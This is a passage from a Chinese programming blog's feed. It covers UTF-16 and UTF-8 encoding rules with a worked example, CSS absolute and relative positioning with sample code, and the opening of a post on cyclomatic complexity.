<p>这显然得到 x<sub>1</sub> = x<sub>2</sub>,y<sub>1</sub> = y<sub>2</sub>,假设不成立,则结论:两个不同的字符编号经过UTF-16编码计算的结果是唯一的。</p>
<p>(2)一个编码值解码是否能得到不同的字符编号?</p>
<p>如果只能实现编码值的唯一而不能保证解码值的唯一显然是不合适的,接收方将无法明确你想表达的意思。</p>
<p>我们知道UTF-16采用16-bit编码BMP平面字符,32-bit编码其余16个辅助平面字符。假设现在有一串经过UTF-16编码的二进制流,例如 “100A2000 000F00AE 10001000 00008888 11111111 00001F13 000001AE 0900 0AAAA”(随意杜撰的数据)。我们能实现解码的唯一吗?</p>
<p>首先,如果在这一串二进制数据流中我们明确知道这16-bit是某个字符编号的结果,那32-bit是另一个字符编号的结果,换句话说,我们能将二进制数据按照字符编号结果为单位进行明确划分,这样我们就只需要按照UTF-16编码的逆向过程去解码就可以了,这个解码值的唯一性应该毋庸置疑(按照验证编码唯一性逆向推导回去很容易得出结论)。这个计算过程应该算得上是 a piece of cake吧。</p>
<p>所以关键问题就落到在这样一串连续的二进制数据中,我们如何去按照字符编号结果为单位去划分,毕竟每个字符编号结果位数可能不一样,如果编码值的位数都是16-bit的话那以16-bit为单位划分即可,而事实并非如此,这样,我们进一步明确目标:解码的时候我们究竟是截取16位还是32位?</p>
<p>这个时候,我们看到了代理对的作用。32位的编码值都是采用高-低位代理对的形式。高位代理的值的范围是 0xD800 ~ 0xDBFF(转化为二进制就是 1101100000000000 ~ 1101101111111111),而这一区段不在BMP平面的编码值的范围内,因此,当我们遇到这个范围内的16为二进制数据,就知道它和接下来的16位一定是组成一个代理对。这样,我们就能区分开32位和16位的编码值了。以上问题得解。</p>
<p>唠叨了这么多,总算是验证了UTF-16编码的合理性。然而还并没有结束,接下来,就来看看现在广为流传使用的UTF-8编码格式。</p>
<p><img src="http://o6lqh5p0j.bkt.clouddn.com/Go_On_intertitle.jpeg" alt="继续"></p>
<h3 id="UTF-8"><a href="#UTF-8" class="headerlink" title="UTF-8"></a>UTF-8</h3><p>和UTF-16一样,UTF-8也是变长的编码方式。不过,起初它采用 1 ~ 6 个字节去编码一个字符(RFC 3629重新规定其只能编码Unicode的原有字符集 0x0 ~ 0x100000,也就是最多采用4个字节足矣)。</p>
<p>既然是对Unicode字符集的编码,那么我们就先来看看它的编码值和Unicode编号空间的对应关系吧,别说话,接镖:</p>
<table>
<thead>
<tr>
<th style="text-align:left">unicode编码空间范围<br>十六进制</th>
<th style="text-align:left">UTF-8二进制编码值</th>
<th style="text-align:left">注释</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">0x0000 ~ 0x007F<br>(128个码点)</td>
<td style="text-align:left">0yyyyyyy</td>
<td style="text-align:left">编码值占一个字节,对应ASCII码的128个字符编码,二级制编码值首部是从0开始</td>
</tr>
<tr>
<td style="text-align:left">0x0080 ~ 0x07FF<br>(1920个码点)</td>
<td style="text-align:left">110yyyyy 10yyyyyy</td>
<td style="text-align:left">编码值占两个字节,高位字节首部从110开始,低位字节首部从10开始</td>
</tr>
<tr>
<td style="text-align:left">0x0800 ~ 0xD7FF<br>0xE000 ~ 0xFFFF<br>(61440个码点)</td>
<td style="text-align:left">1110yyyy 10yyyyyy 10yyyyyy</td>
<td style="text-align:left">编码值占三个字节,第一个字节以1110开头,后两个字节以10开头</td>
</tr>
<tr>
<td style="text-align:left">0x010000 ~ 0x10FFFF<br>(1048576个码点)</td>
<td style="text-align:left">11110yyy 10yyyyyy 10yyyyyy 10yyyyyy</td>
<td style="text-align:left">编码值占四个字节,第一个字节以11110开头,后面的字节以10开头</td>
</tr>
</tbody>
</table>
<p>从上表中,我们可以总结出UTF-8编码值的几个特性,对于一个UTF-8编码值,假设为x:</p>
<ol>
<li>如果x的第一位是0,则x表示的是一个ASCII码</li>
<li>如果x的前两位是10,则x表示的是多字节编码中的除首字节之外的某个字节</li>
<li>如果x的前三位是110,则x表示的两字节编码的首字节</li>
<li>如果x的前四位是1110,则x表示的是三字节编码的首字节</li>
<li>如果x的前五位是11110,则x表示的是四字节编码的首字节</li>
</ol>
<p>这一规律,对于给定一段二进制,去判断该字符编码是否采用的是UTF-8编码方案是有帮助的,并且也是UTF-8解码的依据。</p>
<p>上面讲述了Unicode编码空间和UTF-8编码结果的区间对应关系,这自然是不够的,我们需要知道详细的编码规则。</p>
<h4 id="UTF-8编码过程"><a href="#UTF-8编码过程" class="headerlink" title="UTF-8编码过程"></a>UTF-8编码过程</h4><p>以下是UTF-8的编码值计算方式:</p>
<blockquote>
<ol>
<li>根据给定字符的Unicode编号,找到对应的UTF-8编码值区间,确定未知数y的个数N;</li>
<li>将给定的Unicode编号转为二进制形式,从最低位开始,向上截取N位(不足N位高位补0);</li>
<li>将上一步得到的二进制结果按顺序填充到对应区间的y上,即得该字符的UTF-8编码值。</li>
</ol>
</blockquote>
<h4 id="吃栗子比较容易消化"><a href="#吃栗子比较容易消化" class="headerlink" title="吃栗子比较容易消化"></a>吃栗子比较容易消化</h4><p>例如带上圆圈和锐音符的拉丁文大写字母 Ǻ 的Unicode字符编号为U+01FA,根据上述方法的计算过程如下:</p>
<p>步骤一:确定区间</p>
<figure class="highlight x86asm"><table><tr><td class="code"><pre><span class="line">U+01FA 落在区间 <span class="number">0x0080</span> ~ <span class="number">0x07FF</span>,因此编码值为 110yyyyy 10yyyyyy,共<span class="number">11</span>个未知数</span><br></pre></td></tr></table></figure>
<p>步骤二:Unicode字符编码二进制化</p>
<figure class="highlight dns"><table><tr><td class="code"><pre><span class="line">U+<span class="number">01</span>FA 的二进制形式为 <span class="number">0000 0001</span> <span class="number">1111 1010</span>,从低位开始向上截取<span class="number">11</span>位得到: <span class="number">001 1111</span> <span class="number">1010</span></span><br></pre></td></tr></table></figure>
<p>步骤三:按顺序依次填充</p>
<figure class="highlight dns"><table><tr><td class="code"><pre><span class="line">将上步的二进制结果按顺序替换y,则得到编码结果: <span class="number">11000111</span> <span class="number">10111010</span></span><br></pre></td></tr></table></figure>
<h4 id="UTF-8编码的优势"><a href="#UTF-8编码的优势" class="headerlink" title="UTF-8编码的优势"></a>UTF-8编码的优势</h4><p>技术领域的流行都有着看上去足够理智的原因:</p>
<ol>
<li>完美兼容ASCII码编码方案,这意味着以前的ASCII码文本不需要做任何转换就可以被UTF-8理解以及编码。</li>
<li>UTF-8编码没有字节序的问题(了解 <a href="">字节序编码方案?</a>)。</li>
</ol>
<h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><p>为了不在编码的问题上陷入恐慌,以上对Unicode编码进行了一些总结,表达了一些个人理解。前行的路上,点滴积累,弥足珍贵。</p>
</content>
<summary type="html">
<h2 id="万事俱备,再唤东风"><a href="#万事俱备,再唤东风" class="headerlink" title="万事俱备,再唤东风"></a>万事俱备,再唤东风</h2><p>之前有讨论过关于字符编码的问题,如果对此毫无了解,可以去看看 <a href="http://tomasran.space/archives/1lYfLLOTOzer67ZuqHJRlg/">关于字符集、编码字符集和字符编码</a>,这里将不再强调一些基本的概念,而是想分析一下具体的字符集及其编码方式。我们的目标锁定在Unicode,话不多说,扬帆起航!</p>
</summary>
<category term="Investigation" scheme="tomasran.space/category/Investigation/"/>
<category term="utf-8" scheme="tomasran.space/tags/utf-8/"/>
<category term="utf-16" scheme="tomasran.space/tags/utf-16/"/>
<category term="utf-32" scheme="tomasran.space/tags/utf-32/"/>
<category term="代理对" scheme="tomasran.space/tags/%E4%BB%A3%E7%90%86%E5%AF%B9/"/>
</entry>
<entry>
<title>坐标系变换-CSS中的绝对定位方式</title>
<link href="tomasran.space/archives/KcIEvTT4V7R-jfTM615OEQ/"/>
<id>tomasran.space/archives/KcIEvTT4V7R-jfTM615OEQ/</id>
<published>2016-07-12T06:10:43.000Z</published>
<updated>2016-07-12T06:12:57.000Z</updated>
<content type="html"><h2 id="CSS中的经纬度"><a href="#CSS中的经纬度" class="headerlink" title="CSS中的经纬度"></a>CSS中的经纬度</h2><p>学过数学的孩子都应该知道,对待很多坐标系下的几何数学问题,如果执拗于题设给出的坐标系可真就太傻了,坐标系只是解决问题的辅助方法,只是某个惯性系下的相对位置(论物理对码农的重要性!),如果你不喜欢,完全可以建立确立新的坐标原点,建立新的坐标系。</p>
<a id="more"></a>
<h2 id="灵活的坐标系变换才是王道"><a href="#灵活的坐标系变换才是王道" class="headerlink" title="灵活的坐标系变换才是王道"></a>灵活的坐标系变换才是王道</h2><p>CSS中的绝对定位方式允许我们变换定位坐标系的原点,这提供了怎样的便利性呢?</p>
<p>举个例子,我们想在地球表面建立两座高塔,要求这两座塔的连线要和东西方向平行,并且间隔一个特定距离,这两座高塔的经纬度已知。好,开工了,呆萌呆萌的总工程师需要确定它们的具体位置,于是经过一系列灰常复杂的计算得出这两个塔相对于地球坐标系零点(格林尼兹经线和赤道线)的所有信息,然后就开始施工了。这个过程以地球的零点为参考,分别定位两座塔。如果有足够的精度保证,也似乎没有什么问题,然而,却意想不到的出现了下面的状况:</p>
<p><img src="http://cl.ly/3g182e3U0X3g/%E5%9D%90%E6%A0%87%E7%B3%BB%E5%8F%98%E6%8D%A2%EF%BC%9ACSS%E7%BB%9D%E5%AF%B9%E5%AE%9A%E4%BD%8D%E6%96%B9%E5%BC%8F.png" alt="灵活的坐标系变换:CSS的position定位方式"></p>
<p>由于计算过程中存在的一点点误差,造成了实际定位中的一些偏移。两座塔不在东西方向上排列或者两座塔的水平间距超过了预期!很抱歉,不满足客户需求,除非你拥有一个出色的PM成功游说客户忍受了这貌似理所当然的缺陷。万一客户恰好是处女座的黄金圣斗士,那么推倒它重新建一座吧。</p>
<p>呆萌呆萌的总工程师想要重新计算一遍,精度保留到小数点后面1024位。嗯,nothing is impossible。这时候,工地上一个搬砖的少年一板砖拍在总工程师的脑门上:你是不是傻!紧接着,低调地贡献出来第二套方案:</p>
<p><img src="http://cl.ly/1T2g131o1A47/%E5%9D%90%E6%A0%87%E7%B3%BB%E8%BE%A9%E6%8A%A4%EF%BC%9ACSS%E7%BB%9D%E5%AF%B9%E5%AE%9A%E4%BD%8D%E6%96%B9%E5%BC%8F.png" alt="灵活的坐标系变换:CSS的position定位方式"></p>
<p>精确定位A塔的位置后,B塔的位置就通过相对于A塔的距离来确定。减少了运算,避免了大基数下带来的不可忽视的误差,更加准确更加棒。高手出自民间。</p>
<p>不错,这是一个搬砖工逆袭的故事。摆在眼前的,你是否看出来变换坐标系原点带来的诸多便利呢?答案如果是否定的,来,不妨在下面留下你的联系方式,我们可以一起探讨探讨美妙的数学。</p>
<h2 id="CSS中position定位方式的坐标系变换"><a href="#CSS中position定位方式的坐标系变换" class="headerlink" title="CSS中position定位方式的坐标系变换"></a>CSS中position定位方式的坐标系变换</h2><p><code>position</code> 可供选择的属性值有哪些呢?我们还是去看看W3C标准提供了那些吧,其实也有很多浏览器产商自己开发了适应于自身的一些position属性,暂且不考虑这些未例入标准的,我们依然是去看看W3C的定义。Go to <a href="http://www.w3school.com.cn/cssref/pr_class_position.asp" target="_blank" rel="external">here</a>。</p>
<p>W3C关于 <code>position</code> 属性值的介绍简洁易懂。因此我在这里也就不长篇大论。我们需要理解的就是它的每一种属性值对应哪一个坐标系,坐标原点在哪里。</p>
<h2 id="需要注意的地方"><a href="#需要注意的地方" class="headerlink" title="需要注意的地方"></a>需要注意的地方</h2><h3 id="“position:absolute”的情况"><a href="#“position:absolute”的情况" class="headerlink" title="“position:absolute”的情况"></a>“position:absolute”的情况</h3><p>在使用 <code>position:absolute</code> 绝对定位的时候,有一个地方需要留点神,即是绝对定位元素是相对于父元素的内容区域吗?还是包含边框和内边距?或者说,真正的坐标原点是内容区域的左上角,还是整个框的左上角等等,弄清楚这个问题,只需要看看下面这个例子:</p>
<figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.parent</span> &#123;</span><br><span class="line"> <span class="attribute">position</span>: relative;</span><br><span class="line"> <span class="attribute">background</span>: red;</span><br><span class="line"> <span class="attribute">width</span>: <span class="number">150px</span>;</span><br><span class="line"> <span class="attribute">height</span>: <span class="number">150px</span>;</span><br><span class="line"> <span class="attribute">border</span>: <span class="number">10px</span> solid <span class="number">#333</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="selector-class">.child-one</span>, <span class="selector-class">.child-two</span> &#123;</span><br><span class="line"> <span class="attribute">position</span>: absolute;</span><br><span class="line"> <span class="attribute">background</span>: blue;</span><br><span class="line"> <span class="attribute">width</span>: <span class="number">75px</span>;</span><br><span class="line"> <span class="attribute">height</span>: <span class="number">75px</span>;</span><br><span class="line"> <span class="attribute">top</span>: <span class="number">0</span>;</span><br><span class="line"> <span class="attribute">padding</span>: <span class="number">10px</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="selector-class">.child-one</span> &#123;</span><br><span class="line"> <span class="attribute">left</span>: <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="selector-class">.child-two</span> &#123;</span><br><span class="line"> <span class="attribute">left</span>: <span class="number">100%</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line"></span><br><span class="line">&lt;div <span class="class"><span class="keyword">class</span></span>=<span class="string">'parent'</span>&gt;</span><br><span class="line"> <span class="xml"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">'child-one'</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span></span><br><span class="line"> &lt;div <span class="class"><span class="keyword">class</span></span>=<span class="string">'child-two'</span>&gt;<span class="xml"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span></span><br><span class="line">&lt;<span class="regexp">/div&gt;</span></span><br></pre></td></tr></table></figure>
<p>以上代码的呈现效果是这样的:</p>
<p><img src="http://cl.ly/241C1v100k19/%E7%BB%9D%E5%AF%B9%E5%AE%9A%E4%BD%8D%E6%96%B9%E5%BC%8F%E6%B3%A8%E6%84%8F%E7%9A%84%E9%97%AE%E9%A2%98.png" alt=""></p>
<p>这一显示结果可以得出:在<code>position: absolute</code> 的定位方式中,top、left的设置并不是相对于父元素的边框,而是相对于父元素除边框之外的左上角。牢记这一点,不要让它破坏了你的格局。</p>
<p>另一方面,被定位的目标元素的边框对定位会有影响吗?它的计算方式是边框还是边框以内区域呢?我们给上面个两个元素添加边框</p>
<figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.child-one</span>,<span class="selector-class">.child-two</span> &#123;<span class="attribute">border</span>: <span class="number">10px</span> solid orange;&#125;</span><br></pre></td></tr></table></figure>
<p><img src="http://cl.ly/2z2N363r2R2Q/%E7%BB%9D%E5%AF%B9%E5%AE%9A%E4%BD%8D%E6%96%B9%E5%BC%8F%E6%B3%A8%E6%84%8F%E7%9A%84%E9%97%AE%E9%A2%98.png" alt="灵活的坐标系变换:CSS的position定位方式"></p>
<p>结论显而易见,被定位的目标元素的边框是被计算在内的。</p>
<p>如果想实现是目标元素关于祖先元素的边框定位呢?可以使用一些hack的方法,例如设置margin-top,margin-left为负值,或者并不设置元素边框,通过其它标签来模拟出边框的效果(因地制宜)等等。</p>
<h2 id="“position:relative”的情况"><a href="#“position:relative”的情况" class="headerlink" title="“position:relative”的情况"></a>“position:relative”的情况</h2><p>position设置为relative的定位方式,left如果设置为百分比计算的数值是:父级元素内容区域的宽度 <em> 百分比,top值则是:父级元素内容区域的高度 </em> 百分比。那么这个left是相对于自身的除边框之外的最左边,还是相对于自身左边框的最左边的距离呢?</p>
<p>看看下面的例子:</p>
<figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.parent</span> &#123;</span><br><span class="line"> <span class="attribute">width</span>: <span class="number">150px</span>;</span><br><span class="line"> <span class="attribute">height</span>: <span class="number">150px</span>;</span><br><span class="line"> <span class="attribute">background</span>: red;</span><br><span class="line">&#125;</span><br><span class="line"><span class="selector-class">.child</span> &#123;</span><br><span class="line"> <span class="attribute">width</span>: <span class="number">75px</span>;</span><br><span class="line"> <span class="attribute">height</span>: <span class="number">75px</span>;</span><br><span class="line"> <span class="attribute">position</span>: relative;</span><br><span class="line"> <span class="attribute">left</span>: <span class="number">75px</span>;</span><br><span class="line"> <span class="attribute">border</span>: <span class="number">10px</span> solid orange;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line">&lt;div <span class="class"><span class="keyword">class</span></span>=<span class="string">'parent'</span>&gt;</span><br><span class="line"> <span class="xml"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">'child'</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span></span><br><span class="line">&lt;<span class="regexp">/div&gt;</span></span><br></pre></td></tr></table></figure>
<p><img src="http://o6lqh5p0j.bkt.clouddn.com/%E5%9D%90%E6%A0%87%E7%B3%BB%E5%8F%98%E6%8D%A2%EF%BC%9ACSS%E7%BB%9D%E5%AF%B9%E5%AE%9A%E4%BD%8D%E6%96%B9%E5%BC%8F.png" alt="灵活的坐标系变换:CSS的position定位方式"></p>
<p>上图的虚线框部分是目标元素正常的位置。可见,relative定位的元素left值是左边框相对于正常位置左边框的距离。</p>
<h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>掌握了CSS中 <code>position</code> 的各种定位方式,则掌握了CSS定位机制的半壁江山,可以在指哪放哪的道路上越走越自信,不必担忧它是否在不同设备上拥有一致的表现。所谓懂得,便能宽心。</p>
</content>
<summary type="html">
<h2 id="CSS中的经纬度"><a href="#CSS中的经纬度" class="headerlink" title="CSS中的经纬度"></a>CSS中的经纬度</h2><p>学过数学的孩子都应该知道,对待很多坐标系下的几何数学问题,如果执拗于题设给出的坐标系可真就太傻了,坐标系只是解决问题的辅助方法,只是某个惯性系下的相对位置(论物理对码农的重要性!),如果你不喜欢,完全可以建立确立新的坐标原点,建立新的坐标系。</p>
</summary>
<category term="CSS" scheme="tomasran.space/category/CSS/"/>
<category term="绝对定位" scheme="tomasran.space/tags/%E7%BB%9D%E5%AF%B9%E5%AE%9A%E4%BD%8D/"/>
<category term="absolute定位" scheme="tomasran.space/tags/absolute%E5%AE%9A%E4%BD%8D/"/>
<category term="relative定位" scheme="tomasran.space/tags/relative%E5%AE%9A%E4%BD%8D/"/>
</entry>
<entry>
<title>关注代码中的圈复杂度</title>
<link href="tomasran.space/archives/0JIUXRpCu91_D8gPSbCI3g/"/>
<id>tomasran.space/archives/0JIUXRpCu91_D8gPSbCI3g/</id>
<published>2016-07-02T00:55:35.000Z</published>
<updated>2016-07-02T01:22:39.000Z</updated>
<content type="html"><h2 id="知己知彼,国际惯例先定义"><a href="#知己知彼,国际惯例先定义" class="headerlink" title="知己知彼,国际惯例先定义"></a>知己知彼,国际惯例先定义</h2><p>定义自然是很重要的,知己知彼,所以游刃有余。</p>
<p>定义:</p>
<blockquote>
<p>圈复杂度(Cyclomatic Complexity)是软件测试的一个衡量标准,代表程序中线性独立的路径的个数。</p>
</blockquote>
<a id="more"></a>
<blockquote>
<p>线性独立路径是指程序中至少引进一个新的处理语句集合或一个新条件的任一路径。采用流图的术语,即独立路径必须包含一条在定义路径之前不曾用到的边。</p>
</blockquote>
<p>圈复杂度是能够定量进行计算的。我们借助程序控制流程图来分析一下它的计算方法。</p>
<p><img src="http://cl.ly/0Y2y2S300u0y/Snip20160415_2.png" alt="image"></p>
<p>将一个简单的程序控制流程绘图如上,每一个圆圈代表程序的一个执行步骤,命名为‘节点’(命名是为了方便后面的描述);每一个带方向的箭头表示了该程序的执行路径,命名为‘路径’。可以很清晰地看见程序中存在着循环和分支结构。</p>
<p>那么接下来就是圈复杂度的计算公式:</p>
<figure class="highlight mathematica"><table><tr><td class="code"><pre><span class="line">公式<span class="number">1</span>:V(G) = <span class="keyword">E</span> - <span class="keyword">N</span> + <span class="number">2</span> * P</span><br></pre></td></tr></table></figure>
<p>E代表控制流程图的路径数量,N代表节点数量,那么P代表的是什么?它指的是程序的构成组件的个数。而从程序的控制流图来看,直接反映是节点互相是连通的流程图的个数(每一个独立的程序都有自己的控制流图,公式1可以用来整体分析多个独立程序或方法的圈复杂度)。上例中各个节点都是相连通的,因此只有一个独立组件。</p>
<p>对单个出入口的程序来说,P值始终为1,因此公式可以简写为:</p>
<figure class="highlight mathematica"><table><tr><td class="code"><pre><span class="line">公式<span class="number">2</span>:V(G) = <span class="keyword">E</span> - <span class="keyword">N</span> + <span class="number">2</span> (适用于单个出入口情况)</span><br></pre></td></tr></table></figure>
<p>现在介绍另一种情况(做图有王小二过年的气势):</p>
<p><img src="http://cl.ly/1p462O3A3F06/Snip20160415_3.png" alt="强连通图"></p>
<p>对于这样一个强连通的控制流图(强连通图是指有向图中的每一个节点都有至少一个流入和流出,数学形式的定义更为严谨,可以问 <a href="http://baike.baidu.com/link?url=2ZynNeGc5lJK8JwOyCpLOk8qjiVZQZKbrcV0RIYCq3CJ8u0imBOyA8ZKDqAHgY5SxCmzMKIYxBCBzLpEL04fwK" target="_blank" rel="external">度娘</a>),计算它的圈复杂度可以采用公式:</p>
<figure class="highlight mathematica"><table><tr><td class="code"><pre><span class="line">公式<span class="number">3</span>:V(G) = <span class="keyword">E</span> - <span class="keyword">N</span> + P</span><br></pre></td></tr></table></figure>
<p>控制流图中增加了一条从终点到起点的路径,整个流图形成了一个闭环。采用公式是很正确的做法,但是如果懒到不想计算的话,对于这个闭环我们还可以采取其他的方法得到它的圈复杂度,那就是数数在这个闭环中有多少不同的线性独立回路,说的通俗易懂点,就是控制流图中循环圈圈的个数(注意:必须是可循环的圈圈,并且不包含子圈)。一个简单的图示:</p>
<p><img src="http://cl.ly/0M100Z2S0M3H/Snip20160416_4.png" alt="线性独立图示"></p>
<p>公式3还有一个听上去很正式的名字叫做 <a href="https://en.wikipedia.org/wiki/Betti_number" target="_blank" rel="external">第一贝蒂数(the first Betti number)</a>。</p>
<p>在编程的过程中,通过绘制程序的控制流图来计算圈复杂度,进而将其控制在一个较低水平显然是一件极其麻烦的事儿,这里有更便捷的方法来帮助降低程序圈复杂度,当然,捷径的终点必须和我们想要去的地方一致。Thomas J. McCabe 为我们证明了这一点:</p>
<blockquote>
<p>如果一个结构化程序只有一个进入点和一个结束点,那么它的圈复杂度等于程序中决策点(分支、条件循环)的个数加 1。</p>
</blockquote>
<p>这给我们的实际指导就是在编码的过程中尽量减少使用循环和分支结构。</p>
<p>这个证明已经被推广到单个进入点,多个结束点的情况:</p>
<figure class="highlight cos"><table><tr><td class="code"><pre><span class="line">公式<span class="number">4</span>: V(G) = π - <span class="keyword">s</span> + <span class="number">2</span></span><br></pre></td></tr></table></figure>
<p>π 指的是决策点的个数,s 指的是结束点的个数。</p>
<p>到这里,我们可以得出一个等式:</p>
<figure class="highlight fix"><table><tr><td class="code"><pre><span class="line"><span class="attr">降低圈复杂度 </span>=<span class="string"> 减少分支 + 减少循环</span></span><br></pre></td></tr></table></figure>
<p>程序判定结构的多少与其复杂度呈正相关,而复杂度的高低和程序的质量呈负相关(判定本身就是一件伤脑经的事儿,至少纯粹是与非的判定中你就要不得不设计两种结果,对于测试来说就要增加测试用例)。我们的目标很明确,减少判定,降低圈复杂度,提高程序质量,坚持“看着舒心,用着放心”的可持续发展道路。</p>
<p></p><h2>对症下药,如何降低 javascript 中的圈复杂度</h2><br>上面的定义和分析已经为我们在任何结构化语言的编码过程中减少圈复杂度指定了统一的大政方针:减少分支和循环的使用,那么接下来,我们就需要考虑具体的落实措施了。<p></p>
<ul>
<li>变量尽量初始化。减少undefined和null的出现,可以消除部分场景中的分支判断。</li>
<li><p>使用javascript的对象Object帮助减少分支。javascript对象是一张哈希表,直接寻址寻址速度快,用它来减少分支也能提升代码执行效率。举个锤子:</p>